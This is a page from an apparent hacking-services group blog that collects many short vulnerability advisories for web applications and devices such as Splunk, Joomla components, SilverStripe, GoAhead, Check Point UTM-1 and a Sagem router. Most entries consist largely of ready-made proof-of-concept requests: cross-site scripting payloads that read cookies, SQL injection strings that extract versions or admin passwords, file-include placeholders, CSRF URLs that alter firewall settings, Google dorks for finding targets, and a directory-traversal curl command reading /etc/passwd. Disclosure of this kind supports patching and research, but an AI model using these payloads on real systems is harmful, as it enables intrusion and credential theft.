Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863588150

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/50296/info

Splunk is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary HTML and script code in an unsuspecting user's browser in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Splunk versions 4.2.2 and prior are vulnerable. 

http://www.example.com/en-US/prototype/segmentation_performance?lines=2&depth=2&segment=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&element=aaa&attribute=aaa&segmentation=flattened
HireHackking 
source: https://www.securityfocus.com/bid/50295/info

Innovate Portal is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary HTML and script code in an unsuspecting user's browser in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/index.php?cat=%27%22%28%29%26%251%3cScRiPt%20%3eprompt%28948044%29%3c%2fScRiPt%3e&content=error&sid=57cdbb83e0ab1b879e0a0f91fbf22781&what=user_notfound
HireHackking 
source: https://www.securityfocus.com/bid/50286/info

Boonex Dolphin is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Boonex Dolphin 6.1 is vulnerable; other versions may also be affected.

http://www.example.com/xml/get_list.php?dataType=ApplyChanges&iNumb=1&iIDcat=(select 1 from AdminMenu where 1=1 group by concat((select password from Admins),rand(0)|0) having min(0) )
HireHackking 
source: https://www.securityfocus.com/bid/50083/info

BugFree is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

An attacker could exploit these vulnerabilities to execute arbitrary script code in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

BugFree 2.1.3 is vulnerable; other versions may also be affected. 

http://www.example.com/Bug.php?BugID=1&ActionType=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/Report.php?ReportMode=%3C/title%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/ReportLeft.php?ReportMode=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/admin/AdminProjectList.php/%27;%3C/script%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/admin/AdminGroupList.php/%27;%3C/script%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/admin/AdminUserLogList.php/%27;%3C/script%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
HireHackking 
source: https://www.securityfocus.com/bid/50072/info

The Sgicatalog component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Sgicatalog 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?option=com_sgicatalog&task=view&lang=en&id=[SQLi]
HireHackking 
source: https://www.securityfocus.com/bid/50063/info

SilverStripe is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

SilverStripe 2.4.5 is vulnerable; other versions may also be affected. 

http://www.example.com/SilverStripe-v2.4.5/admin/reports/?&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/SilverStripe-v2.4.5/admin/comments/?&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/SilverStripe-v2.4.5/admin/?&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/SilverStripe-v2.4.5/admin/show/4?&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/SilverStripe-v2.4.5/admin/show/2?&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/SilverStripe-v2.4.5/admin/show/root?&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/SilverStripe-v2.4.5/admin/show/3?&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/SilverStripe-v2.4.5/admin/show/?&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/SilverStripe-v2.4.5/admin/assets/?&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/SilverStripe-v2.4.5/admin/show/1?&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/SilverStripe-v2.4.5/admin/show/5?&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/SilverStripe-v2.4.5/admin/security/?&#039;"</script><script>alert(document.cookie)</script>
HireHackking 
source: https://www.securityfocus.com/bid/50061/info

Contao is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Contao 2.10.1 is vulnerable; other versions may also be affected. 

http://www.example.com/contao-2.10.1/index.php/teachers.html?"/><script>alert(&#039;xss&#039;)</script>
http://www.example.com/contao-2.10.1/index.php/teachers/&#039;"</style></script><script>alert(document.cookie)</script>
HireHackking 
source: https://www.securityfocus.com/bid/50050/info

6KBBS is prone to multiple cross-site scripting and information-disclosure vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to obtain potentially sensitive information and to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

6KBBS 8.0 build 20101201 is vulnerable; other versions may also be affected. 

http://www.example.com/credits.php?'[XSS]
http://www.example.com/forum.php?'[XSS]
http://www.example.com/index.php?'[XSS]
http://www.example.com/login.php?'[XSS]
http://www.example.com/online.php?'[XSS]
http://www.example.com/getfiles.php?f=http://xxx&t=js
http://www.example.com/admin/portalcollect.php?f=http://xxx&t=js
HireHackking 
source: https://www.securityfocus.com/bid/50046/info

2Moons is prone to multiple remote file-include vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow a remote attacker to obtain sensitive information or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

2Moons 1.4 is vulnerable; other versions may also be affected.

http://www.example.com/2Moons/CombatReport.php?RID=[EV!L]
http://www.example.com/2Moons/includes/common.php?UNI=[EV!L]
http://www.example.com/2Moons/includes/classes/class.FlyingFleetHandler.php?MissionsPattern[CurrentFleet[fleet_mission]]=[EV!L]
http://www.example.com/2Moons/includes/classes/class.FlyingFleetHandler.php?CurrentFleet[fleet_mission]]=[EV!L]
http://www.example.com/2Moons/includes/classes/class.Lang.php?Lang=[EV!L]
http://www.example.com/2Moons/includes/classes/class.Lang.php?File=[EV!L]
http://www.example.com/2Moons/includes/classes/class.Lang.php?File=[EV!L]
http://www.example.com/2Moons/includes/classes/class.Lang.php?LANGUAGE=[EV!L]
http://www.example.com/2Moons/includes/classes/class.Lang.php?File=[EV!L]
http://www.example.com/2Moons/includes/classes/class.Records.php?File=[EV!L]
http://www.example.com/2Moons/includes/pages/ShowTopKB.php?ReportID=[EV!L]
http://www.example.com/2Moons/includes/libs/Smarty/Smarty.class.php?file=[EV!L]
http://www.example.com/2Moons/includes/pages/adm/ShowModVersionPage.php?File=[EV!L]
http://www.example.com/2Moons/includes/libs/Smarty/sysplugins/smarty_internal_resource_php.php?_smarty_template=[EV!L]
http://www.example.com/2Moons/includes/libs/Smarty/sysplugins/smarty_internal_templatecompilerbase.php?file=[EV!L]
HireHackking 
source: https://www.securityfocus.com/bid/50043/info

The 'com_shop' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_shop&view=details&id=-29 union select 0,1,2,version(),4,5,6,7,8,9,10,11,12
HireHackking 
source: https://www.securityfocus.com/bid/50042/info

The 'com_br' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_br&controller=resource&view=resource&task=resource_info&Itemid=8&state_id=-33 union select 0,1,version(),3
HireHackking 
source: https://www.securityfocus.com/bid/50041/info

The 'com_tree' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_tree&Itemid=11&key=-77 uNIOn select 0,version(),2--
HireHackking 
source: https://www.securityfocus.com/bid/50039/info
  
GoAhead WebServer is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.
  
Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
  
GoAhead WebServer 2.18 is vulnerable; other versions may also be affected. 

POST /goform/AddUser HTTP/1.1
user=%3Cscript%3Ealert%281337%29%3C%2Fscript%3E&group=%3Cscript%3Ealert%281337%2
9%3C%2Fscript%3E&enabled=on&password=test&passconf=test&ok=OK
HireHackking 
source: https://www.securityfocus.com/bid/50039/info

GoAhead WebServer is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

GoAhead WebServer 2.18 is vulnerable; other versions may also be affected. 

POST /goform/AddGroup HTTP/1.1
group=<script>alert(1337)</script>&privilege=4&method=1&enabled=on&ok=OK
HireHackking 
source: https://www.securityfocus.com/bid/50022/info

Jaws is prone to multiple remote file-include vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow a remote attacker to obtain sensitive information or execute arbitrary script code in the context of the Web server process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

Jaws 0.8.14 is vulnerable; other versions may also be affected. 

http://www.example.com/jaws/libraries/pear/MDB2.php?file_name=[RFI]
http://www.example.com/jaws/libraries/pear/MDB2.php?file_name=[RFI]
http://www.example.com/jaws/libraries/pear/Services/Weather.php?service=[RFI]
http://www.example.com/jaws/libraries/pear/SOAP/Transport.php?transport_include=[RFI]
http://www.example.com/jaws/libraries/pear/Crypt/RSA/MathLoader.php?class_filename=[RFI]
HireHackking 
source: https://www.securityfocus.com/bid/50039/info
 
GoAhead WebServer is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.
 
Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
 
GoAhead WebServer 2.18 is vulnerable; other versions may also be affected. 

POST /goform/AddAccessLimit HTTP/1.1
url=<script>alert(1337)</script>&group=test&method=3&ok=OK
HireHackking 
source: https://www.securityfocus.com/bid/50019/info

The 'com_expedition' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_expedition&task=detail&id=-3235'
HireHackking 
source: https://www.securityfocus.com/bid/50018/info

BuzzScripts BuzzyWall is prone to an information-disclosure vulnerability because it fails to sufficiently validate user-supplied data.

An attacker can exploit this issue to download local files in the context of the webserver process. This may allow the attacker to obtain sensitive information; other attacks are also possible.

BuzzyWall 1.3.2 is vulnerable; other versions may also be affected. 

http://www.example.com/resolute.php?img=config.php
HireHackking 
# Exploit Title: WordPress: cp-multi-view-calendar.1.1.4  [SQL Injection
vulnerabilities]
# Date: 2015-02-28
# Google Dork: Index of /wordpress/wp-content/plugins/cp-multi-view-calendar
# Exploit Author: Joaquin Ramirez Martinez [ i0akiN SEC-LABORATORY ]
# Vendor Homepage: http://wordpress.dwbooster.com/
# Software Link:
https://downloads.wordpress.org/plugin/cp-multi-view-calendar.1.1.4.zip
# Version: 1.1.5
# Tested on: windows 7 ultimate + sqlmap 0.9. It's php aplication
# OWASP Top10: A1-Injection
# Mitigations: Upgrade to version 1.1.5

Greetz to Christian Uriel Mondragon Zarate

Video demo of unauthenticated user sqli explotation vulnerability :



###################################################################

ADMIN PAGE SQL INJECTION
-------------------------------------------------

http://localhost/wordpress/wp-admin/admin-ajax.php?action=ajax_add_calendar

sqlinjection in post parameter viewid

-------------------------------------------------------------------

http://localhost/wordpress/wp-admin/admin-ajax.php?action=ajax_delete_calendar

sqlinjection in post parameter id


########################################

UNAUTENTICATED SQL INJECTION
-----------------------------------------------------------------

http://localhost/wordpress/?action=data_management&cpmvc_do_action=mvparse&f=edit&id=1

sql injection in id parameter

-----------------------------------------------------------------------

http://localhost/wordpress/?action=data_management&cpmvc_do_action=mvparse&f=datafeed&method=list&calid=1

datapost viewtype=list&list_order=asc vuln variable list_order


################################################################

CROSSITE SCRIPTING VULNERABILITY
----------------------------------------------------------

http://localhost/wordpress/?action=data_management&cpmvc_do_action=mvparse&weekstartday=alert(12)&f=edit&id=1

crosite script weekstartday parameter

###################################################

==================================

time-line

26-02-2015: vulnerabilities found
27-02-2015: reported to vendor
28-02-2015: release new cp-multi-view-calendar version 1.1.4
28-02-2015: full disclousure

===================================
HireHackking 
# Exploit Title: [ wordpress theme photocrati 4.X.X SQL INJECTION ]
# Google Dork: [ Designed by Photocrati ] also [powered by Photocrati]
# Date: [23 / 09 / 2011 ]
# Exploit Author: [ ayastar ]
# Email : dmx-ayastar@hotmail.fr
# Software Link: [ http://www.photocrati.com ]
# Version: [4.X.X]
# Tested on: [ windows 7 ]


--------
details |
=======================================================
Software : photocrati
version : 4.X.X
Risk : High
remote : yes

attacker can do a remote injection in site URL to get some sensitive information .
almost all version are infected by this vunl. 
=======================================================
Exploit code :
http://sitewordpress/wp-content/themes/[photocrati-Path-theme]/ecomm-sizes.php?prod_id=[SQL]

greetz to all muslims and all tryag member's 
:) from morocco
HireHackking 
# Title              : Sagem F@st 3304-V2 Directory Traversal Vulnerability
# Vendor             : http://www.sagemcom.com
# Severity           : High
# Tested Router      : Sagem F@st 3304-V2 (3304, other versions may also be affected)
# Date               : 2015-03-01
# Author             : Loudiyi Mohamed
# Contact            : Loudiyi.2010@gmail.com
# Blog               : https://www.linkedin.com/pub/mohamed-loudiyi/86/81b/603
 
# Vulnerability description:
Sagem Fast is an ADSL Router using a web management interface in order to change configuration
settings. The router is Sagem Fast is an ADSL Router using a web management interface in order
to change configuration settings. 
The web server of the router is vulnerable to directory traversal which allows reading files 
by sending encoded '../' requests.

The vulnerability may be tested with the following command-line:
curl -v4 http://192.168.1.1//../../../../../../../../../../etc/passwd
Or directly from navigateur:
http://192.168.1.1/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
http://192.168.1.1/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fproc%2fnet%2farp
HireHackking 
source: https://www.securityfocus.com/bid/50195/info

Site@School is prone to multiple SQL-injection and cross-site scripting vulnerabilities.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

XSS:

http://www.example.com/school/starnet/index.php?option=stats&suboption=&#039;"</style></script><script>alert(document.cookie)</script> 

http://www.example.com/school/starnet/index.php?option=pagemanager&suboption=newsection&site=&#039;"</style></script><script>alert(document.cookie)</script> 

http://www.example.com/school/starnet/index.php?option=modulemanager&modoption=edit&module_number="</style></script><script>alert(document.cookie)</script> 

http://www.example.com/school/starnet/index.php?option=modulemanager&module=&#039;"</style></script><script>alert(document.cookie)</script>

SQL Injection:

http://www.example.com/school/starnet/index.php?option=modulemanager&modoption=edit&module_number=[sql injection]

http://www.example.com/school/starnet/index.php?option=modulemanager&module=[sql injection]
HireHackking 
source: https://www.securityfocus.com/bid/50189/info

Check Point UTM-1 Edge and Safe are prone to multiple security vulnerabilities, including:

1. Multiple cross-site scripting vulnerabilities
2. Multiple HTML-injection vulnerabilities
3. Multiple cross-site request forgery vulnerabilities
4. Multiple URI-redirection vulnerabilities
5. An information-disclosure vulnerability

An attacker may leverage these issues to access sensitive information, redirect an unsuspecting victim to an attacker-controlled site, or steal cookie-based authentication credentials, to perform unauthorized actions in the context of a user's session.

Versions prior to Check Point UTM-1 Edge and Safe 8.2.44 are vulnerable. 

Tested on versions 7.5.48x, 8.1.46x and 8.2.2x.


1) The following demonstrate the reflective XSS flaws:-

a) The Ufp.html page is vulnerable to XSS via the url parameter
It works by submitting a malicious url parameter to the ufp.html page
http://www.example.com/pub/ufp.html?url=";><script>alert(1)</script>&mask=000&swpreview=1

This works with firmware versions 7.5.48x, 8.1.46x and 8.2.2x.

b) The login page is also vulnerable to an XSS via the malicious session cookie
It works by submitting a malicious session cookie to the login page
Cookie: session="><script>alert(1)</script>

c) An authenticated XSS exists within the diagnostics command
http://www.example.com/diag_command.html?sw__ver=blah1&swdata=blah2&sw__custom='";);alert(1);//
(this might need to be submitted twice)


2) The following demonstrate the persistent XSS flaws and XSRF flaws:-

a) The blocked URL warning page is vulnerable to a persistent XSS attack placing any internal users at risk of attack 
when the page is displayed.

First an attacker has to trick the administrator to follow a XSRF attack; the (swsessioncookie) session cookie for 
simplicity sake is shown though JavaScript document.cookie can be used to subvert this protection (see paper).
http://www.example.com/UfpBlock.html?swcaller=UfpBlock.html&swsessioncookie=20KHYp5-oS7rKmS-a4rq4j&swsave=1&ufpblockhttps=0&ufpbreakframe=&backurl=WebRules.html&ufpblockterms=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E

Firewall users then visiting blocked sites will have the blocked page displayed and the attack carried out.
http://www.example.com/pub/ufp.html?url=www.blockedUrl.com&mask=000&swpreview=1

b) The Wi-Fi hotspot landing page on Wi-Fi enabled firewalls is also vulnerable, with any user using the Wi-Fi access 
point being at risk.

First an attacker has to trick the administrator to follow a XSRF attack, the (swsessioncookie) session cookie for 
simplicity sake is shown though JavaScript document.cookie can be used to subvert this protection (see paper).
http://www.example.com/HotSpot.html?swcaller=HotSpot.html&swsessioncookie=20KHYp5-oS7rKmS-a4rq4j&swsave=1&hotspotnets=00000000000000000000000000000000000000&hotspotpass=1&hotspotmulti=1&hotspothttps=0&hotspotnet1=0&hotspotnet2=0&hotspotnet3=0&hotspotenf=0&hotspottitle=Welcome+to+My+HotSpot&hotspotterms=%22%3E%3Cscript%3Ealert%282%29%3C%2Fscript%3E&thotspotpass=on&thotspotmulti=on

Firewall users then visiting the Wi-Fi landing page will then have the attack carried out.
http://www.example.com/pub/hotspot.html?swpreview=1


3) The following demonstrate the (authenticated) offsite redirection flaws:-

a) Enter the following URL to redirect
http://www.example.com/12?swcaller=http://www.procheckup.com

b) Enter the following URL and then press back button.
http://www.example.com/UfpBlock.html?backurl=http://www.procheckup.com

4) The following demonstrate the Information disclosure flaws (no authentication needed)
It was found that the /pub/test.html program disclosed information, regarding the patch level used, licensing and the 
MAC addresses to unauthenticated users.

a) On early firmware versions 5.0.82x, 6.0.72x & 7.0.27x 7.5.48x
Just requesting http:// www.example.com/pub/test.html is sufficient

b) However this no longer worked on versions 8.1.46x & 8.2.26x however adding the URL parameter and a double quote 
bypassed this check
https:// www.example.com/pub/test.html?url="
HireHackking 
source: https://www.securityfocus.com/bid/50168/info

Multiple Toshiba e-Studio devices are prone to a security-bypass vulnerability.

Successful exploits will allow attackers to bypass certain security restrictions and gain access in the context of the device. 

http://www.example.com/TopAccess//Administrator/Setup/ScanToFile/List.htm
HireHackking 
source: https://www.securityfocus.com/bid/50167/info

asgbookphp is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary HTML and script code in an unsuspecting user's browser in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

http://code.google.com/p/asgbookphp/ asgbookphp 1.9 is vulnerable; other versions may also be affected. 

http://www.example.com/asgbookphp/index.php/>'><ScRiPt>alert(771818860)</ScRiPt>